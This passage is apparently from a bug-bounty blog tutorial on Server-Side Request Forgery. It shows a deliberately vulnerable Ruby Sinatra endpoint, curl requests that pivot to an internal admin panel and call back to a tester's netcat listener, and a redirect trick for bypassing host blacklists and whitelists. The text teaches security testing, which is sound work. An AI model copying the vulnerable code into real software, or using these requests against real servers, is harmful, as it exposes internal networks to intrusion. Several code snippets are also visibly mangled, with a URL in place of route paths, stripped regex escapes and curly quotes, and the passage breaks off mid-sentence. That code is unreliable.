Server-Side Request Forgery – SSRF Security Testing


Server-Side Request Forgery, SSRF for short, is a vulnerability class that describes the behavior of a server making a request that’s under the attacker’s control. This post will go over the impact, how to test for it, the potential pivots, defeating mitigations, and caveats.

Before diving into the impact of SSRF vulnerabilities, let’s take a moment to understand the vulnerability itself. It happens that an online application requires outside resources. For example, when you’d tweet this blog post, an avatar would show up for this post on Twitter. The image, title, and description come from the HTML that this page returns. In order to download that information, a Twitter server makes an HTTP request to this page and extracts all the information it needs. Until recently, their link expansion used to be vulnerable to an SSRF vulnerability.

This post will explain in which scenarios this is a security vulnerability and how you can exploit it.

Setting up

When you can make the server do a request to another server, it might be an SSRF. For How To articles, it often works best to set up a vulnerable application locally for you to play around with it. For the sake of this blog post, let’s assume we have a server that runs on the following Ruby code:

require ‘sinatra’
require ‘open-uri’

get “https://www.hackerone.com/” do
  format ‘RESPONSE: %s’, open(params[:url]).read
end

To run this code locally, store it as server.rb, run gem install sinatra, followed by ruby server.rb. I used ruby 2.3.3p222. You can then play around with it at http://localhost:4567. Do NOT run this on anything other than a local loopback interface, this leads to command execution.

When someone would request http://localhost:4567/?url=https://google.com, the open() call fetches https://google.com and returns the response body to the client.

hack-box-01 $ curl http://localhost:4567/?url=https://google.com

RESPONSE: Google

Fetching a URL from the internet isn’t that exciting and not a vulnerability by itself – since it’s directly connected the internet, anyone can access it anyway. Now let’s take a moment and think about Local Area Networks (LANs). A big chunk of the internet is behind routers and firewalls. These routers often use Network Address Translation (NAT) to route traffic from an internal IP subnet to the internet and back.

To explain the impact, consider that the server we’re running with our ruby code (IP address 10.0.0.3) is within a network with another server: admin-panel (IP address 10.0.0.2). The admin-panel server serves a site on port 80 without any authentication. The router (10.0.0.1) routes all the internal traffic to the internet. For this example, there aren’t any firewall rules for traffic between internal servers. The admin-panel server cannot be reached from the internet. The web server can be reached at web-server.com.

We know that our web server, 10.0.0.3, processes the requests we send to it. The admin-panel server serves an HTTP interface on port 4567. Now let’s see what happens when we request the admin-panel server through the web server:

hack-box-01 $ curl http://web-server.com:4567/?url=http://10.0.0.2/

RESPONSE: Internal admin panel

Since the web server can actually reach 10.0.0.2, the internal admin-panel server, it’ll send an HTTP request to it and then reflect the response to the outside world. You could compare it to a web proxy, but abused to proxy external traffic to internal services and vica versa.

Testing

Now that you have a basic understanding of the vulnerability, let’s dive into how you can test for it. In all the SSRF vulnerabilities that I found, I thought it is really useful to have your own server that you can connect back to. This will help you debug the potential vulnerability. I prefer a DigitalOcean box for this, but whatever server you can find that you can forward traffic from the internet works just as well.

Let’s debug the SSRF that runs on http://web-server.com:4567/ by letting it ping to a server you control. First, set up a netcat listener to see the requests coming in:

hack-box-1 $ nc -l -n -vv -p 8080 -k

Listening on [0.0.0.0] (family 0, port 8080)

This will listen to connections on port 8080 on all interfaces and will show us all the traffic sent to it. For the sake of the example, let’s assume hack-box-1’s external IP address is 1.2.3.4. Now let’s let web-server.com ping our server:

hack-box-01 $ curl http://web-server.com:4567/?url=http://1.2.3.4:8080/

When you execute that command, you’ll notice an HTTP request in your netcat listener:

hack-box-1 $ nc -l -n -vv -p 8080 -k
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [masked] port 8080 [tcp/*] accepted (family 2, sport 45982)
GET / HTTP/1.1
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept: */*
User-Agent: Ruby
Host: 1.2.3.4:8080

This reveals the HTTP request that is being sent to the IP address / domain name that you pass into the url parameter. Almost all HTTP libraries that I’ve seen over the past few years follow HTTP requests. If your server, the netcat listener in this case, would respond with the HTTP response below, web-server.com would follow it and then make a request to http://10.0.0.2/.

HTTP/1.1 302 Found
Location: http://10.0.0.2/
Content-Length: 0

Why is this important you ask? One of the mitigations that I’ve seen companies implement is to restrict the server to connect to internal services or ports. However, that restriction often doesn’t apply to HTTP redirects. Consider that our server would be implemented like this:

require ‘sinatra’
require ‘open-uri’

get “https://www.hackerone.com/” do
  url = URI.parse params[:url]

  halt 403 if url.host =~ /A10.0.0.d+z/

  format ‘RESPONSE: %s’, open(params[:url]).read
end

This code parses the URL before sending the request. If the host of the passed URL matches an IP address 10.0.0.[any digit sequence], it will return a HTTP 403 Forbidden status instead. There’s a few ways to sometimes bypass this:

To reach http://10.0.0.2/ with a redirect, your first request would go to the server you control. From that server, you’d redirect back to http://10.0.0.2/. This will bypass the mitigation implemented in the code above because it already reached the open() method. In the code example above, a host blacklist approach is used. This can be a slippery slope because of all the different bypasses you’d have to think about as a developer, but sometimes necessary. When a whitelist is implemented, as shown in the code example below, try to find an open redirect vulnerability in the whitelist host. This can help you pivot to the site’s internal network. Redirects often help you defeat port, host, path, and protocol restrictions.

require ‘sinatra’
require ‘open-uri’

get “https://www.hackerone.com/” do
  url = URI.parse params[:url]

  halt 403 unless url.host == ‘web-server.com’

  format ‘RESPONSE: %s’, open(params[:url]).read
end

Here’s the unordered top 5 features that are often prone to SSRF vulnerabilities:

  • Webhooks: look for services that make HTTP requests when certain events happen. In most webhook features, the end user can choose their own endpoint and hostname. Try to send HTTP requests to internal services.

  • PDF generators: try injecting